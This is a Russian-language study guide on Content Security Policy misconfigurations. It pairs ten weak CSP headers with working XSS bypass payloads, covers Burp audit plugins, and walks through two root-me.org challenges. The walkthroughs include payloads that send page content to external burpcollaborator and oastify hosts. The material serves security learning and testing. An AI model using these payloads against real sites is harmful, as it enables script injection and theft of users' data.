## Материал для самостоятельного изучения Содержание: 1. Примеры уязвимого кода 2. Примеры атак и уязвимых приложений ### Примеры уязвимого кода `Content Security Policy` - механизм, который призван гибко закрывать вероятные проблемы связвязанные с фронтендом. Обычно, данные для настройки сообщаются через заголовок `Content-Security-Policy`. Заголовок может определяться через веб сервер или фреймворк приложения. Так же еще возможно определение политик через тег `meta`. Полный перечень директив и рекомендованный вариант работы браузера можно найти [тут](https://www.w3.org/TR/CSP3/). Автоматическую проверку вероятных слабых конфигураций можно проводить на основании вот [этого](https://csp-evaluator.withgoogle.com) сервиса. Уязвимости в механизме могут пристутствовать из-за: - опаздывающей имплементации в браузере (отсутствие отдельных директив) - уязвимости в готовой имплементации (сразу получают CVE-ID) - злоупотребление набором директив Последний вариант самый распространенный. Рассмотрим варианты уязвимых наборов директив. ### Примеры атак и уязвимых приложений #### Пример №1 ``` Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url; ``` Максимально уязвимая версия набора директив. unsafe-inline - по сути оставляет возможным атаки через использование стандартных тестов. Вот такими тестовыми данными можно пользоваться(не единственный вариант): ```javascript <script>alert(1337);</script> ``` #### Пример №2 ``` Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url; ``` Доступна директива unsafe-eval - дает возможность запускать код из строки. При этом код можно неограниченное количество раз редактировать налету. Пример тестовых данных: ```javascript <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> ``` #### Пример №3 ``` Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url; ``` Использование валдкарда для script-src. Дает возможность добавить скрипт из сервера, который контроллирует атакующий. Пример тестовых данных: ```javascript "/>'><script src=https://mysite.com/evil.js></script> "/>'><script src=data:text/javascript,alert(1337)></script> ``` #### Пример №4 ``` Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url; ``` Отсутствуют директивы object-src и default-src. Можно прибегнуть к достаточно древней технологии: ```javascript <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> ``` #### Пример №5 ``` Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url; ``` object-src установлен в none. Если в приложении будет доступен функционал для загрузки файлов, то атакующий может попробовать провести атаку через вызов скрипта по тегу: ```javascript "/>'><script src="/user_upload/mypic.png.js"></script> ``` #### Пример №6 ``` Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url; ``` Директива script-src 'self' дает возможность обращаться только к домену приложения. Если есть jsonp эндпоинты в приложении, то байпас возможно производить вот так: ```javascript "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> ``` Проблема байпаса заключается в том, что придется искать jsonp самостоятельно в проекте, чтобы атака заработала. #### Пример №7 ``` Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url; ``` Загрузка исходников с такой конфигурацией подразумевает возможность работать только с файлами указанного хранилища. Если в хранилище есть другие версии либ, то можно попробовать загрузить уязвимую версию и завершить атаку. Пример тестовых данных: ```javascript <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script> <div ng-app ng-csp> {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }} </div> "><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div> "><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)> ``` #### Пример №8 ``` Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url; ``` Tесли приложение использует angular JS и скрипты загружаются с разрешенных доменов. Обойти CSP можно через использование колбеков. Пример атаки: ```javascript ng-app"ng-csp ng-click=$event.view.alert(1337)> <script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script> "><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script> ``` #### Пример №9 ``` Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url; ``` При использовании двух доверенных доменов для загрузки скриптов можно допустить обход CSP. Важным условием для успеха является нахождение уязвимости open redirect на одном из доменов. В этом случае можно будет использовать jsonp технику для обхода. Пример атаки: ```javascript ">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>"> ``` #### Пример №10 ``` Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ; report-uri /_csp; upgrade-insecure-requests ``` Обход возможен через использование iframe: ```javascript <iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe> ``` ### Уязвимые приложения Автоматизация поиска уязвимых наборов директив возможна через использование плагинов burp: - CSP auditor Его достаточно установить и он самостоятельно будет анализировать заголовки, которые приходят от сервера с политиками CSP. Пример вывода: `Target Tab` ![](https://i.imgur.com/LN4ECW2.png) `Dashboard` ![](https://i.imgur.com/wa11Adc.png) Второй плагин позволяет выполнять аналогичные действия - CSP-Bypass. Отличие плагина заключается в том, что он написан на Python. ### Примеры тестирования #### Уязвимое приложение по адресу: https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Inline-code Тестирование приложения проходит точно так же как при обычном поиске XSS. Нужно понять в какой контекст попадают данные от пользователя и попробовать обойти фильтрацию, чтобы добавление данных произошло без изменений. Пробуем подставить самый простой payload ```<img src=x onerror=alert(0)>```: ![](https://i.imgur.com/1r2IJUk.png) Байпас найден, для решения задания нужно описать javascript для отправки страницы, которую видит пользователь. Например так: ```html http://challenge01.root-me.org/web-client/ch8/page?user=test<img src=a onerror=document.location='//xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net?c='%2bwindow.btoa(document.getElementsByClassName("message")[0].innerHTML)>tes ``` #### Уязвимое приложение по адресу: https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Dangling-markup Обход такого вида CSP возможен, но для этого нужно быть уверенным, что используемый браузер не Chrome проект. Так как в этих браузерах просто оставить незакрытым тег нельзя. Для тестирования такой уязвимости нужно стремиться проставить html теги, которые могут давать возможность обращаться к другим страницам и обходить CSP: ```html /page?user="><meta http-equiv='refresh' content='0;http://ezhxksu3msiy7fbbe9zpfjt2rtxmlb.oastify.com? ``` ### Полезные ссылки - https://csp-evaluator.withgoogle.com - https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection